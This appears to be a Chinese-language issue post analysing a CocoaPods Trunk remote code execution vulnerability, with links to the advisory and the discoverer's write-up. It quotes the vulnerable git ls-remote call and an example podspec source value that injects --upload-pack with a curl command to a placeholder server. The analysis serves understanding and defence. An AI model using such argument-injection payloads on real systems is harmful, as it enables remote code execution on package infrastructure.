Cocoapods的漏洞分析
Closed this issue · 1 comments
cocoapod的解释:https://blog.cocoapods.org/CocoaPods-Trunk-RCE/
发现者的文章:https://justi.cz/security/2021/04/20/cocoapods-rce.html
hack news: https://news.ycombinator.com/item?id=26874726
漏洞的核心:https://git-scm.com/docs/git-ls-remote
原因
原因是cocoapod的源码中有这一段:
system('git', 'ls-remote', @specification.source[:git], ref.to_s)
其中的:git,是这段:source:{"git":"https://github.com/SDWebImage/SDWebImage.git","tag”:”5.9.5”}中的git参数
即拼接执行git ls-remote https://github.com/SDWebImage/SDWebImage.git
——
可能被攻击,即如果这样设置source:{"source":{"git":"--upload-pack="$(curl my-server:4775/whoami
)" https://github.com/","tag":"1.0.0"}}
那么拼接执行 git ls-remote --upload-pack="$(curl my-server:4775/whoami
)" https://github.com/
导致--upload-pack的语句$(curl my-server:4775/whoami
)执行
——
这种问题类似于sql注入漏洞,即拼接String后执行,很容易在拼接string过程中,没做检验,导致出现漏洞,实际运行时,很容易被注入没预料到的命令或参数,执行后出现问题
cocoapod的修复代码
放弃git ls-remote命令,改手动检验git remote
影响
Cocoapod认为影响范围不确定,目前认为没有什么影响,对开发者来说,Pod auth need to pod trunk register again and replace your COCOAPODS_TRUNK_TOKEN. If you are not a pod author, you do not need to do anything.
备注下: 分析的不是很深入,还希望大牛指正和指导
已采纳